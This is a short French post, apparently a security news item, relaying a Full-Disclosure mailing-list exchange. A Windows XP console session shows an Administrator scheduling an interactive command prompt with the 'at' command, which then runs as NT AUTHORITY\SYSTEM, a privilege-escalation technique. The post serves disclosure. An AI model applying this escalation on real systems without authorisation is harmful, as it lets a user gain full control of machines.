Relevé, au fil de la liste FD, cette conversation entre MM « Dev/Null », Kokanin, Zoller et al : (Whoami est téléchargeable gratuitement sur le site Microsoft, avec les autres outils complémentaires du SP2)
C:\>whoami
XP\Administrator
C:\>at 23:45 /interactive cmd
Added a new job with job ID = 1
[ @23:45 new cmd window pops-up ]
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM